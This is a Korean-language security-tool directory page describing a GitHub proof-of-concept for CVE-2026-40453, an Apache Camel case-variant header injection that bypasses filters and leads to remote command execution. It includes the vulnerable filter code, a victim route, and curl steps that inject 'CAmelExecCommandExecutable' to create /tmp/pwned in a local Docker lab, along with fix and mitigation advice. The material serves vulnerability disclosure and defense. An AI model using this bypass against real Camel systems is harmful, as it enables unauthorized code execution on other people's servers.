Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40453 — # CVE-2026-40453 재현기: Apache Camel 대소문자 변형 Camel 헤더 주입(CVE-2025-27636의 불완전한 수정) | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-40453
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHuboscerd/cve-2026-40453

CVE-2026-40453

# CVE-2026-40453 재현기: Apache Camel 대소문자 변형 Camel 헤더 주입(CVE-2025-27636의 불완전한 수정)

저장소 보기
22개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

대소문자 변형 Camel 헤더 인젝션 재현기 (CVE-2026-40453)

이 프로젝트는 CVE-2026-40453 — CVE-2025-27636에 대한 불완전한 수정 — 을 시연합니다. 2025년 수정에서 HttpHeaderFilterStrategy에 setLowerCase(true)를 추가하여 대소문자 변형 헤더 이름(예: CAmelExecCommandExecutable)이 표준 CamelExecCommandExecutable과 함께 필터링되도록 했습니다. 동일한 호출이 5개의 비HTTP HeaderFilterStrategy 구현체(camel-jms, camel-sjms, camel-coap, camel-google-pubsub)에는 적용되지 않았으며, 이들은 대소문자를 구분하여 필터링하는 반면 Camel Exchange는 헤더를 대소문자를 구분하지 않는 맵에 저장합니다. 따라서 공격자는 필터를 우회하지만 다운스트림 컴포넌트(, , ...)에서 표준 이름으로 여전히 해석되는 대소문자 변형 제어 헤더를 주입할 수 있으며, 이로 인해 / 임의 파일 쓰기가 발생합니다.

camel-exec
camel-file
Camel*
원격 코드 실행

이 재현기는 camel-coap(자체 포함, 외부 브로커 불필요)으로 우회를 시연합니다. 동일한 결함이 JMS/SJMS/Google-Pubsub 전략에도 영향을 미칩니다.

권고: https://camel.apache.org/security/CVE-2026-40453.html

취약점 요약

속성값
구성 요소camel-jms, camel-sjms, camel-coap, camel-google-pubsub (이 PoC는 camel-coap 사용)
영향받는 클래스JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy
근본 원인대소문자를 구분하는 startsWith("Camel"/"camel") 필터링(setLowerCase(true) 누락) vs 대소문자를 구분하지 않는 Exchange 헤더 맵
CWECWE-20 (부적절한 입력 검증) — 메시지 헤더 인젝션
영향헤더 기반 프로듀서를 통한 RCE / 임의 파일 쓰기
영향받는 버전3.0.0부터 4.14.6 미만, 4.15.0부터 4.18.2 미만, 4.19.0부터 4.20.0 미만
수정 버전4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23313 (CVE-2025-27636 수정을 완료)
보고자Saroj Khadka

기술적 세부 사항

CoAPHeaderFilterStrategy(영향받는 버전)는 Camel*을 대소문자를 구분하여 필터링합니다:

root@kitploit:~
public CoAPHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    // MISSING: setLowerCase(true);
}

CoAP 요청이 도착하면 CamelCoapResource.handleRequest()는 strategy.applyFilterToExternalHeaders(name, value, exchange)에 의해 게이트되는 각 URI-쿼리 파라미터를 Exchange In 헤더로 매핑합니다:

  • CamelExecCommandExecutable — startsWith("Camel")이 true → 필터링됨.
  • CAmelExecCommandExecutable — startsWith("Camel")이 false(CAm ≠ Cam) → 필터링되지 않음.

Exchange 헤더 맵은 대소문자를 구분하지 않으므로, 대소문자 변형 헤더는 나중에 exec 프로듀서에서 표준 이름 CamelExecCommandExecutable로 해석되어 명령을 덮어씁니다.

피해자 라우트

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")
    .convertBodyTo(String.class);

사전 요구 사항

  • Java 17+ 및 Maven 3.8+
  • Docker

재현 단계

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

1) 정상

root@kitploit:~
curl http://localhost:8080/exploit/normal      # -> hello

2) 표준 헤더 — 필터링됨 (RCE 없음)

root@kitploit:~
curl http://localhost:8080/exploit/canonical
# CamelExecCommandExecutable / CamelExecCommandArgs 주입
# -> /tmp/pwned-canonical 생성: false   (필터가 표준 Camel* 헤더를 제거함)

3) 대소문자 변형 헤더 — 우회 (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/attack
# CAmelExecCommandExecutable / CAmelExecCommandArgs 주입 (대문자 A)
# -> /tmp/pwned 생성: true   (대소문자 변형이 대소문자 구분 필터를 우회함)
docker exec cve-2026-40453 ls -la /tmp/pwned

정리

root@kitploit:~
docker compose down

권장 수정

4.14.6 / 4.18.2 / 4.20.0으로 업그레이드하세요. 수정(CAMEL-23313)은 5개의 비HTTP HeaderFilterStrategy 구현체에 setLowerCase(true)를 추가하여 대소문자 변형 Camel* 이름도 필터링되도록 합니다.

완화 조치

업그레이드할 때까지:

  1. 신뢰할 수 없는 프로듀서의 다운스트림에서 Camel 헤더를 대소문자 구분 없이 제거하세요 — setLowerCase(true)가 포함된 사용자 정의 HeaderFilterStrategy 또는 대소문자 구분 없는 패턴의 removeHeaders 사용.
  2. 신뢰할 수 없는 JMS / CoAP / Pub-Sub 메시지를 헤더 기반 프로듀서로 전달하지 마세요.

파일

root@kitploit:~
CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CoapExecRoute.java        # victim: from(coap).to(exec)
    │   └── ExploitController.java    # /normal, /canonical (filtered), /attack (case-variant bypass)
    └── resources/
        └── application.properties

고지 사항

이 재현기는 보안 연구 및 승인된 테스트 전용으로, 공개적으로 공개되었고 수정된 취약점에 대해 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드